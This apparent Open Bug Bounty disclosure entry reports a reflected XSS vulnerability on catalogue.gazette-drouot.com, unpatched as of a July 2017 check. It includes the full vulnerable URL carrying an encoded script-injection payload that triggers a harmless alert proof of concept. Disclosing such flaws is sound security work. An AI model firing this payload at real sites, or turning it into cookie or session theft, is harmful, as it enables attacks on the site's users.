catalogue.gazette-drouot.com XSS vulnerability

Vulnerable URL: http://catalogue.gazette-drouot.com/html/g/recherche.jsp?lang=fr=%22%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C%2Fscript%3E%3C%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...